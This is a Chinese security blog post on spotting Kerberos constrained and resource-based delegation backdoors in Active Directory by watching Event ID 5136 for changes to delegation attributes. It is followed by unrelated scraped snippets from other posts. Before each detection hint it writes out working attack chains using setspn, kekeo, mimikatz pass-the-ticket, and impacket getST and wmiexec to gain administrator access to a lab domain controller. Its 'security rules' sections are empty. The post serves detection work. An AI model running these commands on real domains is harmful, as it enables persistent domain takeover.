基于AD Event日志监测域委派后门

一颗小胡椒2023-02-07 09:24:10

01、简介

域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。攻击者在获取到域控权限后,可以利用约束委派或者基于资源的约束委派实现后门,以实现达到维持权限的目的。

基于AD Event日志监视对特定 Active Directory 属性的修改,从而发现可疑的域委派后门。

02、约束委派攻击场景

假设服务账号配置了到域控的约束性委派,当攻击者控制了服务账号,就可以伪造任意用户的TGT,来打造一个变种的黄金票据。

(1)设置约束委派


setspn -U -A cifs/test  test

(2)构造服务账户test的票据


kekeo.exe "tgt::ask /user:test /domain:evil.com /password:abc123! /ticket:test.kirbi" "exit"

(3)利用伪造的票据,向域服务器申请CIFS服务票据。


kekeo.exe "tgs::s4u /tgt:TGT_test@EVIL.COM_krbtgt~evil.com@EVIL.COM.kirbi /user:administrator@evil.com /service:cifs/WIN-DC01" "exit"

(4)使用mimikatz将该票据注入当前的会话中。


mimikatz.exe "kerberos::ptt TGS_administrator@evil.com@EVIL.COM_test@EVIL.COM.kirbi" "exit"

(5)访问目标共享盘。


dir \\win-dc01\c$

检测方法:攻击手法的核心点在于攻击者需要修改msDS-AllowedToDelegateTo属性,因此我们只需要检测对msDS-AllowedToDelegateTo属性的修改,可以通过5136日志来监控。

安全规则:

03、基于资源的约束委派攻击场景

攻击者在获取到域控权限后,可以利用基于资源的约束委派实现后门,通过对krbtgt用户设置委派属性,以实现达到维持权限的目的。

(1)设置属性值并查询


Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount testGet-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

(2)获取ST,并使用wmiexec登录域控。


python getST.py -dc-ip 192.168.44.136 -spn krbtgt -impersonate administrator evil.com/test:abc123!set KRB5CCNAME=administrator.ccachepython wmiexec.py -no-pass -k administrator@win-dc01 -dc-ip 192.168.44.136

检测方法:攻击手法的核心点在于攻击者需要修改msDS-AllowedToActOnBehalfOfOtherIdentity属性,因此我们只需要检测对msDS-AllowedToActOnBehalfOfOtherIdentity属性的修改,可以通过5136日志来监控。

安全规则:

cifs
本作品采用《CC 协议》,转载必须注明作者和本文链接
linux运维道面试题
2021-12-24 22:05:28
linux运维面试题
在属性对话框中,单击共享标签,选择“与Samba共享”。WebRTC支持通过web浏览器进行点对点连接,这意味着同一网络上的两个用户可以通过Snapdrop导航就能找到对方,然后直接相互通信,而不需要通过外部服务器。一旦两个或多个客户端与Snapdrop服务取得联系,用户就可以通过本地网络来回交换文件和聊天消息。Pulse为Linux上的音频提供了惊人的灵活性,包括自动发现本地网络流。
攻击者在获取到域控权限后,可以利用约束委派或者基于资源的约束委派实现后门,以实现达到维持权限的目的。基于AD Event日志监视对特定 Active Directory 属性的修改,从而发现可疑的域委派后门。设置约束委派setspn -U -A cifs/test test
回想起大约两个月前,我们报告了Samba网络软件中一个7年前的严重远程代码执行漏洞,允许黑客远程完全控制易受攻击的Linux和Unix机器。我们将该漏洞命名为SambaCry,因为它与两个多月前在全球造成严重破坏的WannaCry勒索软件所利用的Windows SMB漏洞相似。
SMB Beacon 与命名管道在 Windows 中,无管理员权限的情况下,即无法添加白名单。定义特定版本的协议的消息数据包集称为方言。进行身份验证后,用户可以访问服务器上不受共享级别安全性保护的所有共享。
空会话意味着对网络资源的访问是在没有身份验证的情况下授予的。也称为匿名或访客访问,最常见的是IPC$ "Windows Named Pipe"共享。人们倾向于认为用户名是唯一的身份验证机制,在工作组中,这基本上是正确的。
基于资源的约束委派
2022-02-24 13:39:47
微软试图为域用户提供更大的灵活性,使资源的所有者能够配置哪些帐户是可信的,并允许委派给他们。这可以通过修改用于控制目标资源访问的属性“ms-DS-AllowedToActOnBehalfOfOtherIdentity”来实现的。
在属性对话框中,单击共享标签,选择“与Samba共享”。WebRTC支持通过web浏览器进行点对点连接,这意味着同一网络上的两个用户可以通过Snapdrop导航就能找到对方,然后直接相互通信,而不需要通过外部服务器。一旦两个或多个客户端与Snapdrop服务取得联系,用户就可以通过本地网络来回交换文件和聊天消息。
金票可以使用krbtgt的NTLM hash创建作为任何用户的有效TGT。
分布式存储作为湖仓一体技术的重要支撑,也随着湖仓一体技术在不断演进。作为存储系统,除了提供原有的数据共享访问、灵活扩展、快照、克隆、容灾等功能外,还需要为湖仓一体的上层应用提供特定的服务能力。
一颗小胡椒
暂无描述